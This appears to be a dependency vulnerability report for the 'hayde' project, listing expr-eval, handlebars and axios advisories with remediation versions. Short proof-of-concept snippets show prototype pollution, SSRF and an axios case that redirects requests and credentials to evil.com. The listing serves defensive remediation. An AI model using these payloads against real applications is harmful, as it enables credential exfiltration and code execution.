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critical severity

Prototype Pollution

  • Vulnerable module: expr-eval
  • Introduced through: langchain@0.0.195

Detailed paths

  • Introduced through: hayde@Sly777/hayde langchain@0.0.195 expr-eval@2.0.2

Overview

expr-eval is a Mathematical expression evaluator

Affected versions of this package are vulnerable to Prototype Pollution via the evaluation process, which accesses global values by searching for item.value in expr.functions. An attacker can access prototype, __proto__, constructor, and assign properties to it. Successful exploitation of this vulnerability can allow for arbitrary JavaScript execution by providing malicious expressions.

Note: According to this comment development of expr-eval has been abandoned; with development continuing in expr-eval-fork

PoC

PoC

// PoC.js const { Parser } = require('expr-eval'); const o = {}; console.log("o.a=", o.a); // o.a= undefined const res = Parser.evaluate('Object=constructor;a=Object.fromEntries([["a","polluted"]]);Object.assign(proto, a)'); console.log("o.a=", o.a); // o.a= polluted

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

There is no fixed version for expr-eval.

References

critical severity

Prototype Pollution

  • Vulnerable module: expr-eval
  • Introduced through: langchain@0.0.195

Detailed paths

  • Introduced through: hayde@Sly777/hayde langchain@0.0.195 expr-eval@2.0.2

Overview

expr-eval is a Mathematical expression evaluator

Affected versions of this package are vulnerable to Prototype Pollution via unrestricted member access IMEMBER and user-defined functions IFUNDEF in the expression evaluator. An attacker can execute arbitrary JavaScript code by providing malicious expressions and exploiting member access to reach dangerous built-in objects and functions.

Note: The reporter did not receive a response from the project maintainers, and other prototype pollution issues have been reported without fixes released in the past, so a fix may not be forthcoming.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

There is no fixed version for expr-eval.

References

critical severity

Access of Resource Using Incompatible Type ('Type Confusion')

  • Vulnerable module: handlebars
  • Introduced through: handlebars@4.7.8

Detailed paths

  • Introduced through: hayde@Sly777/hayde handlebars@4.7.8
    Remediation: Upgrade to handlebars@4.7.9.

Overview

handlebars is an extension to the Mustache templating language.

Affected versions of this package are vulnerable to Access of Resource Using Incompatible Type ('Type Confusion') via the compile function. An attacker can execute arbitrary code by supplying a crafted Abstract Syntax Tree (AST) object with a malicious NumberLiteral value, which is emitted directly into generated JavaScript code without proper sanitization.

Note: This allows the attacker to inject and run arbitrary commands on the server. This is only exploitable if user-controlled JSON is deserialized and passed directly to the compile function.

Workaround

This vulnerability can be mitigated by validating that the input to the compile function is always a string and not a plain object or JSON-deserialized value, or by using the runtime-only build where compile is unavailable.

Remediation

Upgrade handlebars to version 4.7.9 or higher.

References

critical severity

Access of Resource Using Incompatible Type ('Type Confusion')

  • Vulnerable module: handlebars
  • Introduced through: handlebars@4.7.8

Detailed paths

  • Introduced through: hayde@Sly777/hayde handlebars@4.7.8
    Remediation: Upgrade to handlebars@4.7.9.

Overview

handlebars is an extension to the Mustache templating language.

Affected versions of this package are vulnerable to Access of Resource Using Incompatible Type ('Type Confusion') via manipulation of the @partial-block variable in the template data context. An attacker can execute arbitrary JavaScript code on the server by overwriting @partial-block with a crafted Handlebars AST and triggering its evaluation through a subsequent invocation.

Note: This is only exploitable if helpers that accept arbitrary objects are registered and allow mutation of the data context.

Workaround

This vulnerability can be mitigated by using the runtime-only build require('handlebars/runtime'), auditing registered helpers to prevent writing arbitrary values to context objects, and avoiding registration of helpers from third-party packages in contexts where templates or context data can be influenced by untrusted input.

Remediation

Upgrade handlebars to version 4.7.9 or higher.

References

critical severity

Access of Resource Using Incompatible Type ('Type Confusion')

  • Vulnerable module: handlebars
  • Introduced through: handlebars@4.7.8

Detailed paths

  • Introduced through: hayde@Sly777/hayde handlebars@4.7.8
    Remediation: Upgrade to handlebars@4.7.9.

Overview

handlebars is an extension to the Mustache templating language.

Affected versions of this package are vulnerable to Access of Resource Using Incompatible Type ('Type Confusion') via the resolvePartial and invokePartial functions. An attacker can execute arbitrary code on the server by supplying a crafted object as a dynamic partial in the template context, which is then compiled and executed as JavaScript.

Note: This is only exploitable if the template uses dynamic partial lookups and the attacker can control the context property used for the lookup.

Workaround

This vulnerability can be mitigated by using the runtime-only build require('handlebars/runtime'), sanitizing context data to prevent non-primitive objects from being passed to dynamic partials, or avoiding dynamic partial lookups when context data is user-controlled.

Remediation

Upgrade handlebars to version 4.7.9 or higher.

References

critical severity
new

HTTP Response Splitting

  • Vulnerable module: axios
  • Introduced through: axios@1.6.2

Detailed paths

  • Introduced through: hayde@Sly777/hayde axios@1.6.2
    Remediation: Upgrade to axios@1.15.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to HTTP Response Splitting via the isFormData and getHeaders handling in the HTTP request path. An attacker can inject arbitrary request headers by supplying a prototype-polluted object that is mistaken for FormData, causing getHeaders() output to be merged into an outgoing request. This lets attacker-controlled values, such as authorization or custom headers, ride along with requests made by applications that pass untrusted objects into Axios, exposing credentials or altering server-side request handling.

Notes

  • The gadget only matters when the request body is a non-FormData payload that Axios still routes through the Node HTTP adapter’s form-data detection path; browser-side usage is not implicated by this code path.
  • The advisory’s prototype-pollution prerequisite can come from any dependency in the application’s tree, not necessarily from Axios itself, so a separate merge/parser bug elsewhere can be enough to trigger the header injection.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

critical severity
new

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: axios@1.6.2

Detailed paths

  • Introduced through: hayde@Sly777/hayde axios@1.6.2
    Remediation: Upgrade to axios@1.15.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution through the mergeConfig code path in the request configuration handling. An attacker can influence request behavior by supplying a crafted config object with inherited properties such as transport, env, formSerializer, or transform callbacks on Object.prototype, causing Axios to use attacker-controlled settings during request dispatch and form serialization. This can redirect requests, alter serialization and response handling, and break application logic that relies on trusted per-request configuration.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

critical severity
new

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: axios@1.6.2

Detailed paths

  • Introduced through: hayde@Sly777/hayde axios@1.6.2
    Remediation: Upgrade to axios@1.15.2.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution when the Object.prototype has been polluted via a different exploit. The following properties in the HTTP adapter configuration may be manipulated, as they do not restrict their own property accesses with hasOwnProperty. An attacker can inject Authorization headers into the auth property, redirect external requests via the baseURL property or internal requests via the socketPath property, execute callbacks contained in HTTP redirects via the beforeRedirect property, or enable insecure HTTP parsing via the insecureHTTPParser property.

PoC

const axios = require('axios');

// Prototype pollution from a vulnerable dependency in the same process
Object.prototype.auth = { username: 'attacker', password: 'exfil' };
Object.prototype.baseURL = 'https://evil.com';

await axios.get('/api/users');
// Request is sent to: https://evil.com/api/users
// With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw=
// Attacker receives both the request and injected credentials

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 1.15.2 or higher.

References

high severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: axios
  • Introduced through: axios@1.6.2

Detailed paths

  • Introduced through: hayde@Sly777/hayde axios@1.6.2
    Remediation: Upgrade to axios@1.7.4.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) through unexpected behavior where requests for path-relative URLs get processed as protocol-relative URLs. An attacker can manipulate the server to make unauthorized requests by exploiting this behavior.

PoC


const axios = require('axios');

this.axios = axios.create({
  baseURL: 'https://userapi.example.com',
});

//userId = '12345';
userId = '/google.com'

this.axios.get(`/${userId}`).then(function (response) {
  console.log(`config.baseURL:  ${response.config.baseURL}`);
  console.log(`config.method:   ${response.config.method}`);
  console.log(`config.url:      ${response.config.url}`);
  console.log(`res.responseUrl: ${response.request.res.responseUrl}`);
});

Output:

config.baseURL:  https://userapi.example.com
config.method:   get
config.url:      //google.com
res.responseUrl: http://www.google.com/

Remediation

Upgrade axios to version 1.7.4 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: axios@1.6.2

Detailed paths

  • Introduced through: hayde@Sly777/hayde axios@1.6.2
    Remediation: Upgrade to axios@1.13.5.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution via the mergeConfig function. An attacker can cause the application to crash by supplying a malicious configuration object containing a __proto__ property, typically by leveraging JSON.parse().

PoC

import axios from "axios";

const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://domain/get", maliciousConfig);

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.30.3, 1.13.5 or higher.

References

high severity
new

Uncontrolled Recursion

  • Vulnerable module: axios
  • Introduced through: axios@1.6.2

Detailed paths

  • Introduced through: hayde@Sly777/hayde axios@1.6.2
    Remediation: Upgrade to axios@1.15.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Uncontrolled Recursion through the toFormData recursive serializer in lib/helpers/toFormData.js. An attacker can crash a process by supplying a deeply nested object as request data or params, causing unbounded recursion and a call-stack overflow during multipart/form-data or query-string serialization.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

high severity

Improper Check for Unusual or Exceptional Conditions

  • Vulnerable module: handlebars
  • Introduced through: handlebars@4.7.8

Detailed paths

  • Introduced through: hayde@Sly777/hayde handlebars@4.7.8
    Remediation: Upgrade to handlebars@4.7.9.

Overview

handlebars is an extension to the Mustache templating language.

Affected versions of this package are vulnerable to Improper Check for Unusual or Exceptional Conditions through the registerDecorator path in lib/handlebars/compiler/javascript-compiler.js. An attacker can crash the Node.js process by supplying a template with malformed or unregistered decorator syntax, causing the compiled template to call an undefined decorator as a function. This affects applications that compile untrusted templates at request time, especially when the compile/render call is not wrapped in try/catch. A single malicious template such as {{*n}} can trigger an unhandled TypeError and terminate the process.

Workarounds

  • Wrap compilation and rendering in try/catch.
  • Validate template input before passing it to compile(), and reject decorator syntax if decorators are not used.
  • Use pre-compilation at build time and avoid calling compile() on request-time input.

Remediation

Upgrade handlebars to version 4.7.9 or higher.

References

high severity

Improper Encoding or Escaping of Output

  • Vulnerable module: handlebars
  • Introduced through: handlebars@4.7.8

Detailed paths

  • Introduced through: hayde@Sly777/hayde handlebars@4.7.8
    Remediation: Upgrade to handlebars@4.7.9.

Overview

handlebars is an extension to the Mustache templating language.

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output through the CLI precompiler in lib/precompiler.js. An attacker can execute arbitrary JavaScript in the generated bundle by supplying crafted template filenames or CLI options such as --namespace, --commonjs, --handlebarPath, or --map. The issue affects the precompiler output path used by bin/handlebars / lib/precompiler.js, where untrusted names and option values were concatenated into emitted JavaScript without escaping.

Workarounds

  • Validate template filenames and CLI option values before invoking the precompiler and reject values containing JavaScript string-escaping or statement-breaking characters.
  • Use a fixed, trusted namespace string rather than passing it from the command line in automated pipelines.
  • Run the precompiler in a sandboxed environment with limited write access.

Remediation

Upgrade handlebars to version 4.7.9 or higher.

References

high severity
new

Improperly Controlled Modification of Dynamically-Determined Object Attributes

  • Vulnerable module: axios
  • Introduced through: axios@1.6.2

Detailed paths

  • Introduced through: hayde@Sly777/hayde axios@1.6.2
    Remediation: Upgrade to axios@1.15.2.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Improperly Controlled Modification of Dynamically-Determined Object Attributes through the transformResponse and request serialization paths in the defaults configuration. An attacker can influence JSON parsing and request handling by supplying a crafted object with inherited parseReviver, responseType, transitional, env, or formSerializer properties, causing Axios to read attacker-controlled prototype values during response parsing or form encoding. This can lead to malformed response processing, unexpected parser behavior, and application-level data corruption or denial-of-service in code that passes untrusted config objects to Axios.

Remediation

Upgrade axios to version 1.15.2 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: axios@1.6.2

Detailed paths

  • Introduced through: hayde@Sly777/hayde axios@1.6.2
    Remediation: Upgrade to axios@1.6.4.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution via the formDataToJSON function.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.29.0, 1.6.4 or higher.

References

high severity
new

HTTP Response Splitting

  • Vulnerable module: axios
  • Introduced through: axios@1.6.2

Detailed paths

  • Introduced through: hayde@Sly777/hayde axios@1.6.2
    Remediation: Upgrade to axios@1.15.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to HTTP Response Splitting via the parseTokens header processing path in lib/core/AxiosHeaders.js. An attacker can smuggle HTTP requests or inject arbitrary headers by supplying a header value containing \r\n, which Axios merges into an outbound request. Under specific conditions, this can be used to exfiltrate cloud metadata tokens, pivot into internal services, or poison downstream HTTP traffic.

Notes

  • Exploitation requires prior successful prototype pollution in a third-party dependency, enabling attacker-controlled header data to flow into Axios via configuration merging or AxiosHeaders.set(...).
  • IMDSv2 token exfiltration (described in the original vulnerability report as another step in the exploit chain following the smuggling of a PUT request) further depends on the application running in an AWS environment with instance metadata access enabled, and on the Axios process having network access to the metadata endpoint.
  • A possible but uncommon vector mentioned in the maintainers' advisory relies on the use of a non standard Axios transport mechanism, e.g. a custom adapter, to bypass Node.js header validation, thereby permitting malformed or injected header values to be transmitted without rejection. In most cases, this vector is blocked by Node.JS's built in header validation.

Remediation

Upgrade axios to version 0.31.0, 1.15.0 or higher.

References

high severity
new

GPL-3.0 license

  • Module: cfonts
  • Introduced through: cfonts@3.2.0

Detailed paths

  • Introduced through: hayde@Sly777/hayde cfonts@3.2.0

GPL-3.0 license

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: axios
  • Introduced through: axios@1.6.2

Detailed paths

